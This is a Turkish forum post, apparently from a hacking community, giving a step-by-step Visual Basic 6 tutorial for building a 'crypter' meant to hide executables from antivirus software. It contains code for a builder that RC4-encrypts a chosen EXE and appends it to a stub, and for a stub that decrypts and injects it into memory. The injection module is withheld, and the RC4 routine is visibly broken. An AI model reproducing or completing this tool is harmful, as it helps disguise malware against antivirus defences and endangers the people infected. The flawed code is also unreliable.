Crypter Nasıl Yazılıyor Merak edenler buyrun

Eved degerli arkadaşlarım umarım yayralı bir paylasım olur



ÖNCELİKLE PC NİZE VİSUAL BASİC 6 İNDİRİNİZ VE INDIRDIGIMIZ PROGRAMI ACIYORUZ







Formumuza bir adet 2 det text 2 adet buton ve bir aden Commondialog koyucaz

Commondiaolugu formumuza yerlerştirmek icin GÖRMÜŞ OLDUGUNUZ SİMGELERİN BOS BİR YERE GELİP

MAUSA SOL TIKLAYIP COMPONENTS.. TIKLIYARAK Microsoft Common Dialog secıcez ve ordaki simgelere geldiğini görecez ve o commonu formumuza koyucaz



VE DAHA SONRA COMMON1 YAZAN BUTONUN UZERINE CIFT TIKLIYARAK AŞŞADAKİ VERİCEGIM KODU YAPISDIRACAKSINIZ

Kod:

Private Sub Command1_Click()

With CommonDialog1

        .DialogTitle = "Dosyanızı seçiniz!"

        .Filter = "Aplicaciones EXE|*.exe"

        .ShowOpen

        End With

 

        If Not CommonDialog1.FileName = vbNullString Then

        Text1.Text = CommonDialog1.FileName

        MsgBox "Dosyayı Sectiniz", vbInformation, Me.Caption

        End If

End Sub

resimdeki gibi





Ve ardından ikinci butonumuza cift tıklıyarak aşşadaki kodu yapıstırıyorsunuz

Kod:

Private Sub Command2_Click()

Dim webcetesi As String, Archivo As String

If Text1.Text = vbNullString Then

MsgBox "Anti-av.org Farkı", vbExclamation, Me.Caption

Exit Sub

Else

Open App.Path & "\webcetesi.exe" For Binary As #1

webcetesi = Space(LOF(1))

Get #1, , webcetesi

Close #1

Open Text1.Text For Binary As #1

Archivo = Space(LOF(1))

Get #1, , Archivo

Close #1

With CommonDialog1

        .DialogTitle = "Selecione la ruta donde guardar el archivo encriptado!"

        .Filter = "Aplicaciones EXE|*.exe"

        .ShowSave

        End With

        If Not CommonDialog1.FileName = vbNullString Then

        Archivo = RC4(Archivo, Text2.Text)

        Open CommonDialog1.FileName For Binary As #1

        Put #1, , webcetesi & "##$$##" & Archivo & "##$$##" & Text2.Text & "##$$##"

        Close #1

        MsgBox "Neyi Nerden Ögrendiğini Hiç bir zaman ınkar etme [webcetesi]", vbInformation, Me.Caption

        End If

 End If

End Sub

Resimdeki gibi







Ve yukarıdaki kodun hemen altını aşşadaki kodu yapıstırıyoruz

Kod:

Public Function RC4(ByVal Data As String, ByVal Password As String) As String

On Error Resume Next

Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte

Key() = StrConv(Password, vbFromUnicode)

For X = 0 To 255

    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256

    F(X) = X

Next X

Key() = StrConv(Data, vbFromUnicode)

For X = 0 To Len(Data)

    Y = (Y + F(Y) + 1) Mod 256

    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))

Next X

RC4 = StrConv(Key, vbUnicode)

End Function

VE VİSUAL BASIC EN UST KOSESINDEKI FILE TIKLAYIP







Make.Project1.exe tıklıyarak kaydedecegimiz yeri belirliyoruz



Ve crypterımızı hazırladık simdik sıra stubumuzda.



Visual basıc tekrarar tıklıyarak stubumuzun kodlarını koyucaz.





sag ust kosede bulunan Form1 uzerıne gelerek removeform1 dıyoruz ve hemen ardından orada faremızın sol tusuna basarak Add seceneginden module tıklıyoz



yine aynı işlemi yaparak bir module daha secıyoruz ve modulerımızın ısımlerını degıstırıyoruz









MODULUMUZUN ISMINI Name yazan yerde webcetesi olarak degişiyoruz











Ve yukarıdakı ıkıncı modulumızın ısmını de Memoria olarak degişiyoruz ve



webcetesi olan modulumuzun uzerıne cift tıklayarak

su kodu yazıyoruz

Kod:

Sub Main()

Dim YO As String, Datos As String, sData() As String

YO = App.Path & "" & App.EXEName & ".exe"

Open YO For Binary As #1

Datos = Space(LOF(1))

Get #1, , Datos

Close #1

sData() = Split(Datos, "##$$##")

sData(1) = RC4(sData(1), sData(2))

Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String

On Error Resume Next

Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte

Key() = StrConv(Password, vbFromUnicode)

For X = 0 To 255

    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256

    F(X) = X

Next X

Key() = StrConv(Data, vbFromUnicode)

For X = 0 To Len(Data)

    Y = (Y + F(Y) + 1) Mod 256

    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))

Next X

RC4 = StrConv(Key, vbUnicode)

End Function



Ve daha sonra Memoria olan modulumuzun üzerine cift tıklıyarak

aşşadaki kodları yazıcaz .



Bu arada devamını okumak için aşada kösede tesekur butonuna basıp ıkı uc kelime yazmanız lazım







Ve son olarakda





File ye tıklıyarak



Make.webcetesi.exe olarak masa uzerıne kaydediyoruz



Crypterimiz Adı : Project1.exe **** dılersenız degıstırebılırsınız

Stubumuzun ısmı ıse : webcetesi.exe dir bunu degıtıremezsınız



Eved arkadaşlar umarım yararlı bır paylasım oldu .

ve son olarakda ben bu konuyu acarken bır gun sonra kızım amelıyat olucak sizlerden kızm için dua etmenizi dilerim

teşekkürler